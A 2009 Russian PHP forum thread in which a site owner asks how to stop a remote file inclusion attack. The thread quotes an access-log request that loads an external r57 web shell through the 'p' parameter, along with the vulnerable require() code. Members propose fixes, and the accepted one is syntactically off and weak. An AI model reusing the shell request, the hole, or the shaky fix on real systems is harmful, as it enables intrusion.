подсаживаются любые файлы в переменную

И всё прочее, что касается HTML
Правила форума
Убедительная просьба юзать теги [code] при оформлении листингов.
Сообщения не оформленные должным образом имеют все шансы быть незамеченными.
Аватара пользователя
moadip
мл. сержант
Сообщения: 114
Зарегистрирован: 2007-01-17 14:32:23

подсаживаются любые файлы в переменную

Непрочитанное сообщение moadip » 2009-02-24 21:11:27

Помогите исправить баг,
вообщем есть сайт, который был удачно атакован кулцхакером,
вот лог

Код: Выделить всё

"POST /?p=http://www.netempresaseguros.com/r57.txt?? HTTP/1.1" 200 11865 "http://*****.ru/?p=http://www.netempresaseguros.com/r57.txt??""
как я панимаю через переменную 'p' подсадили какой-то левый файл,
соовтветнно надо сделать или какую нить проверку, или что-бы через данную переменную могли выполнятся только файлы которые находятся на сервере.
в файле index.php нашёл такие строки

Код: Выделить всё

@$page=$HTTP_GET_VARS['p'];
else {require($page.".html");
что в них надо добавить что-бы файлы с другого сайта неподсаживались ?
p.s. в google уже был, чё-то ничего дельного ненашёл..... :st:
Я бы изменил мир, но Бог не дает исходники...

Хостинговая компания Host-Food.ru
Хостинг HostFood.ru
 

Услуги хостинговой компании Host-Food.ru

Хостинг HostFood.ru

Тарифы на хостинг в России, от 12 рублей: https://www.host-food.ru/tariffs/hosting/
Тарифы на виртуальные сервера (VPS/VDS/KVM) в РФ, от 189 руб.: https://www.host-food.ru/tariffs/virtualny-server-vps/
Выделенные сервера, Россия, Москва, от 2000 рублей (HP Proliant G5, Intel Xeon E5430 (2.66GHz, Quad-Core, 12Mb), 8Gb RAM, 2x300Gb SAS HDD, P400i, 512Mb, BBU):
https://www.host-food.ru/tariffs/vydelennyi-server-ds/
Недорогие домены в популярных зонах: https://www.host-food.ru/domains/

zg
полковник
Сообщения: 5845
Зарегистрирован: 2007-12-07 13:51:33
Откуда: Верх-Нейвинск

Re: подсаживаются любые файлы в переменную

Непрочитанное сообщение zg » 2009-02-24 22:58:53

проверяй путь к файлу через realpath()

Аватара пользователя
ADRE
майор
Сообщения: 2645
Зарегистрирован: 2007-07-26 8:53:49
Контактная информация:

Re: подсаживаются любые файлы в переменную

Непрочитанное сообщение ADRE » 2009-02-25 8:02:51

можно извратится через parse_url() и если урл не равен заданному -> в жопу переменную....
справочник функций есть? если нету то есть на php.net и где-то был одним аштмл архивом
//del

Аватара пользователя
moadip
мл. сержант
Сообщения: 114
Зарегистрирован: 2007-01-17 14:32:23

Re: подсаживаются любые файлы в переменную

Непрочитанное сообщение moadip » 2009-02-25 8:20:40

с пхп совсем плохо, :oops:
можете носом тыкнуть, что надо сделать...
Я бы изменил мир, но Бог не дает исходники...

Аватара пользователя
ADRE
майор
Сообщения: 2645
Зарегистрирован: 2007-07-26 8:53:49
Контактная информация:

Re: подсаживаются любые файлы в переменную

Непрочитанное сообщение ADRE » 2009-02-25 9:12:19

Код: Выделить всё

$ php -r 'print_r( parse_url("http://username:password@hostname/path?arg=value#anchor"));'
Array
(
    [scheme] => http
    [host] => hostname
    [user] => username
    [pass] => password
    [path] => /path
    [query] => arg=value
    [fragment] => anchor
)

$ php -r 'print_r( parse_url("http://invalid_host..name/"));'
Array
(
    [scheme] => http
    [host] => invalid_host..name
    [path] => /
)
- это в примере, тебе надо:
когда идет проверка переменной короче:

Код: Выделить всё

@$page=$HTTP_GET_VARS['p'];
else {require($page.".html");
замени на:

Код: Выделить всё

$zlo = parse_url($HTTP_GET_VARS['p']);
if ($zlo['host'] != $_ENV['SERVER_NAME']) {
die('мая испугаться вас');
} else {
@$page=$HTTP_GET_VARS['p'];
else {require($page.".html");
}

- вот только не помню сервер нейм тащит http или без него....
//del

zg
полковник
Сообщения: 5845
Зарегистрирован: 2007-12-07 13:51:33
Откуда: Верх-Нейвинск

Re: подсаживаются любые файлы в переменную

Непрочитанное сообщение zg » 2009-02-25 9:28:53

ADRE писал(а):можно извратится через parse_url()
нда.... :-o
ADRE писал(а):if ($zlo['host'] != $_ENV['SERVER_NAME'])
:(

Аватара пользователя
moadip
мл. сержант
Сообщения: 114
Зарегистрирован: 2007-01-17 14:32:23

Re: подсаживаются любые файлы в переменную

Непрочитанное сообщение moadip » 2009-02-25 9:49:15

zg писал(а):
if ($zlo['host'] != $_ENV['SERVER_NAME']) :(
?
непрокатит ?
Я бы изменил мир, но Бог не дает исходники...

zg
полковник
Сообщения: 5845
Зарегистрирован: 2007-12-07 13:51:33
Откуда: Верх-Нейвинск

Re: подсаживаются любые файлы в переменную

Непрочитанное сообщение zg » 2009-02-25 10:11:27

Код: Выделить всё

$page = './'. strtr($page, array('../' => '/', "\0" => ''));
if (realpath($page))
  include($page);
else
  echo "Bad file name $page";

Аватара пользователя
moadip
мл. сержант
Сообщения: 114
Зарегистрирован: 2007-01-17 14:32:23

Re: подсаживаются любые файлы в переменную

Непрочитанное сообщение moadip » 2009-02-25 10:51:08

zg писал(а):

Код: Выделить всё

$page = './'. strtr($page, array('../' => '/', "\0" => ''));
if (realpath($page))
  include($page);
else
  echo "Bad file name $page";
просто добавить в существующий код ?
Я бы изменил мир, но Бог не дает исходники...

zg
полковник
Сообщения: 5845
Зарегистрирован: 2007-12-07 13:51:33
Откуда: Верх-Нейвинск

Re: подсаживаются любые файлы в переменную

Непрочитанное сообщение zg » 2009-02-25 10:53:32

нет

Аватара пользователя
ADRE
майор
Сообщения: 2645
Зарегистрирован: 2007-07-26 8:53:49
Контактная информация:

Re: подсаживаются любые файлы в переменную

Непрочитанное сообщение ADRE » 2009-02-25 11:18:18

ну так а что такого? ой бля ... там же много че написано ))) не досмотрел... ) мда то что предлогал - работать не будет .....
-----------------------
strtr() сначала всегда ищет самое длинное совпадение и *НЕ* пытается заменить то, с чем уже работала.
- круто блин ) что \-то таких вещей даже руки не доходили - хотя вроде банальная вещь ....
//del

zg
полковник
Сообщения: 5845
Зарегистрирован: 2007-12-07 13:51:33
Откуда: Верх-Нейвинск

Re: подсаживаются любые файлы в переменную

Непрочитанное сообщение zg » 2009-02-25 11:41:42

ADRE писал(а):и *НЕ* пытается заменить то, с чем уже работала.
в отличие от str_replace, которая ещё и жрёт кучу оперативы при этом
ADRE писал(а):там же много че написано )))
действительно -)))

Аватара пользователя
moadip
мл. сержант
Сообщения: 114
Зарегистрирован: 2007-01-17 14:32:23

Re: подсаживаются любые файлы в переменную

Непрочитанное сообщение moadip » 2009-02-25 11:52:03

ADRE писал(а): замени на:

Код: Выделить всё

$zlo = parse_url($HTTP_GET_VARS['p']);
if ($zlo['host'] != $_ENV['SERVER_NAME']) {
die('мая испугаться вас');
} else {
@$page=$HTTP_GET_VARS['p'];
else {require($page.".html");
}

- вот только не помню сервер нейм тащит http или без него....
спасибо,
работает
Я бы изменил мир, но Бог не дает исходники...

Аватара пользователя
ADRE
майор
Сообщения: 2645
Зарегистрирован: 2007-07-26 8:53:49
Контактная информация:

Re: подсаживаются любые файлы в переменную

Непрочитанное сообщение ADRE » 2009-02-25 11:54:30

zg писал(а):
ADRE писал(а):и *НЕ* пытается заменить то, с чем уже работала.
в отличие от str_replace, которая ещё и жрёт кучу оперативы при этом
будем знать - а то str_replace в конец достал, долго ссылки заменяет адреса доменов, когда контент парсится )))
//del

Аватара пользователя
ADRE
майор
Сообщения: 2645
Зарегистрирован: 2007-07-26 8:53:49
Контактная информация:

Re: подсаживаются любые файлы в переменную

Непрочитанное сообщение ADRE » 2009-02-25 11:55:35

moadip писал(а):
ADRE писал(а): замени на:

Код: Выделить всё

$zlo = parse_url($HTTP_GET_VARS['p']);
if ($zlo['host'] != $_ENV['SERVER_NAME']) {
die('мая испугаться вас');
} else {
@$page=$HTTP_GET_VARS['p'];
else {require($page.".html");
}

- вот только не помню сервер нейм тащит http или без него....
спасибо,
работает
и ниче не подгружает? то чего не надо?
//del

Аватара пользователя
moadip
мл. сержант
Сообщения: 114
Зарегистрирован: 2007-01-17 14:32:23

Re: подсаживаются любые файлы в переменную

Непрочитанное сообщение moadip » 2009-02-25 12:01:00

не, нормуль
если вставить в переменную ссылку на другой сайт выплёвывает die('мая испугаться вас');
Я бы изменил мир, но Бог не дает исходники...